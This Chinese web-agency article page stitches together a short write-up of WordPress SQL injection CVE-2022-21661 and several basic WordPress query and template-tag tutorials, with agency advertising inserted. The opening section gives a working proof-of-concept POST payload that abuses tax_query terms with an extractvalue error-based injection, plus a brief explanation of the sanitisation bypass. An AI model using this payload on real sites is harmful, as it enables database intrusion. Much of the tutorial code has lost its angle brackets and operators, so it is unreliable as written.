资讯

精准传达 • 有效沟通

从品牌网站建设到网络营销策划,从策略到执行的一站式服务

wordpressquery的简单介绍

CVE-2022–21661 WordPress 《=5.3, 携带WP_QUERY插件SQL注入

POC:

创新互联建站是一家朝气蓬勃的网站建设公司。公司专注于为企业提供信息化建设解决方案。从事网站开发,网站制作,网站设计,网站模板,微信公众号开发,软件开发,微信平台小程序开发,十余年建站对水泥搅拌车等多个领域,拥有丰富的网站推广经验。

POST

ecs_ajax_settings  {"post_id":1,"current_page":2,"widget_id":"65054a0","max_num_pages":5}

action ecsload

query {"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}

这个问题来源于temrs没过滤 再加上 一个相等条件绕过;

相等条件类似于,下面过滤条件没有执行。导致term携带了一些脏数据

if(a==b){

return;

}

sanialize(term);

1下图所示,我们的插件里action钩子勾住的是这个方法,这个方法利用了WP_QUERY存在漏洞的类,注意的是action 一定要有对应的值,所以这个漏洞限制在。运用了WP_QUERY的插件里。所以我们拿了ajax_pagnition这个插件,定义了action为ecsload

2 下图所示 我们进入方法,此方法构造了sql

3 clean query方法 进去看看,2的里面调用了这个,箭头指定的地方已经打过补丁,强制term为int所以就无法利用了,补丁前不是这样,而是对term没有做任何操作

4进入transform_query,在看一下里面。下面试sanitize其实可以绕过,从而不过滤term这样,条件都成立,term逃出,sql成立

如何创建WordPress自定义查询

大家都知道,输入到WordPress的所有数据都将被保存在数据库中,如果我们需要这些数据,就要对数据库进行查询,然后输出我们需要的数据。比如我们需要在首页输出网站的最新文章,或者在分类页面输出该分类的最新文章,又或者在文章页面输出详细的文章内容……

查询数据库的方法很多,较常用的有以下3种:使用pre_get_posts 动作、 query_posts() 函数 或 WP_Query 类。

pre_get_posts 动作

当你查询数据库的时候,Wordpress创建了一个全局变量 $query 。使用动作 pre_get_posts 就可以获取 $query 变量并将其作为参数传递给回调函数。

要知道,pre_get_posts 可以用来获取所有的数据库信息,包括后台管理区域,而且它可以多次使用,所以要获取我们想要的数据,我们需要对它进行判断检查。要检查是否正在改变主查询,我们可以使用函数 is_main_query()。

1

2

3

4

if(is_main_query())

{

// Modify the query

}

尽管这样,它还是会在后台管理区域中被获取,所以你还需要检查是否在你希望的页面输出,比如,你要修改分类页面的查询,你就需要添加 is_category() 函数。

1

2

3

4

if(is_main_query() is_category())

{

// Modify the query

}

例如,如果你希望在首页查询中排除某些分类,你可以向下面一样修改查询:

1

2

3

4

5

6

add_action( 'pre_get_posts', 'exclude_category' );

function exclude_category( $query ) {

if ( $query-is_home() $query-is_main_query() ! $query-get( 'cat' ) ){

$query-set( 'cat', '-5' );

}

}

你还可以通过修改 posts_per_page 参数来修改通过查询获取的文章篇数

1

2

3

4

5

6

add_action( 'pre_get_posts', 'get_one_post' );

function get_one_post( $query ) {

if ( $query-is_home() $query-is_main_query() ){

$query-set( 'posts_per_page', 1 );

}

}

posts_per_page 是用来修改WordPress默认的查询的,如果你需要添加额外的查询,你就需要使用 WP_Query 类。

query_posts() 函数

query_posts() 是修改WordPress主查询的另一种方法,这是最简单的编辑数据库查询的方法,因为它会覆盖默认的 $query 变量。但 query_posts() 不是最好的,也不是最有效的方法,更好的方式还是使用 posts_per_page 来修改主查询。

就像 posts_per_page 一样,你可以使用 query_posts() 来修改返回的文章数量,默认情况下,WordPress会返回 10 篇文章,你可以使用下面代码修改为 1 篇:

1

2

3

4

5

6

7

8

9

10

?php

query_posts( 'posts_per_page=1' );

while ( have_posts() ) : the_post();

echo '

h1';

the_title();

echo '/h1

';

endwhile;

?

了解更多,请阅读 WordPress函数:query_posts

WP_Query 类

WP_Query 类 定义在 wp-includes/query.php 文件中,它是一个 类(class),用来查询数据库然后在我们想要的页面输出文章。WP_Query 会创建一个可以用在任何页面的变量 $wp_query ,你可以通过多种方式来获取查询的信息。

最主要的方式是 $wp_query-have_posts() ,它可以在循环的内部被 have_posts() 函数调用。你可以通过 the_post() ,在循环的内部使用这个变量来获取当前文章的信息。

1

2

3

4

5

6

7

8

$new_query = new WP_Query( $args );

// The Loop

while ( $new_query-have_posts() ) :

$new_query-the_post();

printf('

h1%s/h1

', get_the_title() );

endwhile;

WP_Query 类 还可以用来二次查询数据库,但你需要使用 wp_reset_postdata() 函数 来重置前一个查询。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

$new_query = new WP_Query( $args );

// The Loop

while ( $new_query-have_posts() ) :

$new_query-the_post();

printf('

h1%s/h1

', get_the_title() );

endwhile;

wp_reset_postdata();

$second_query = new WP_Query( $second_args );

// The Loop

while ( $second_query-have_posts() ) :

$second_query-the_post();

printf('

h1%s/h1

', get_the_title() );

endwhile;

wp_reset_postdata();

在 WordPress官方文档中,介绍了不同的参数和方法,更多详情请访问 WP_Query 类。

wordpress常用的标签有哪些怎么调用

常用的有标题、内容、日志元数据等。

循环介绍

?php if (have_posts()) : ?

?php while (have_posts()) : the_post(); ?

?php endwhile; ?

?php endif;?

· if(have_posts()) – 检查博客是否有日志。

· while(have_posts()) – 如果有日志,那么当博客有日志的时候,执行下面 the_post() 这个函数。

· the_post() – 调用具体的日志来显示。

· endwhile; – 遵照规则 #1,这里用于关闭 while()

· endif; – 关闭 if()

调用标题

a href=";?php the_permalink() ?"?php the_title_attribute(); ?/a

标题太长了可以用下面的:

a href=";?php the_permalink() ?" ?php echo mb_strimwidth(get_the_title(), 0, 32, '...'); ?/a

调用内容

3-1、全文调用

?php the_content(); ?

3-2、摘要调用

?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post-post_content)), 0, 200,"……"); ?

日志元数据

4-1、发布日期

?php the_time('F d, Y') ?

?php the_time('m-d') ?

?php the_date_xml()?

4-2、所属分类

?php the_category(', ') ?

4-3、文章标签

?php the_tags('标签: ', ', ', ''); ?

4-4、留言数

?php comments_number('暂无评论', '1条评论', '% 评论' );?

4-5、更多按钮

a href=";?php the_permalink() ?"更多内容/a

4-6、调用文章作者

?php the_author_posts_link();?

最新文章调用:

语法

WP标签:?php wp_get_archives('type=postbypostlimit=10'); ?

type=postbypost:按最新文章排列limit:限制文章数量最新10篇调用随机文章:

?php

global $post;

$postid = $post-ID;

$args = array( 'orderby' = 'rand', 'post__not_in' = array($post-ID), 'showposts' = 10);

$query_posts = new WP_Query();

$query_posts-query($args);

?

?php while ($query_posts-have_posts()) : $query_posts-the_post(); ?

lia href=";?php the_permalink(); ?" rel="bookmark" title="?php the_title_attribute(); ?"?php the_title(); ?/a/li

?php endwhile; ?文章日期存档调用

WP标签:?php wp_get_archives( 'type=monthly' ); ?

type=monthly按月份读取

分类目录调用

WP标签:?php wp_list_cats('sort_column=nameoptioncount=1hierarchical=0'); ?

hierarchial=0 – 不按照层式结构显示子分类

optioncount=1 – 显示每个分类含有的日志数

sort_column=name – 把分类按字符顺序排列

友情链接调用

?php wp_list_bookmarks('title_li=categorize=0orderby=randlimit=24'); ?

元数据调用

注册:?php wp_register(); ?

登录:?php wp_loginout(); ?


当前题目:wordpressquery的简单介绍
文章地址:http://cdkjz.cn/article/doeeggd.html
多年建站经验

多一份参考,总有益处

联系快上网,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

业务热线:400-028-6601 / 大客户专线   成都:13518219792   座机:028-86922220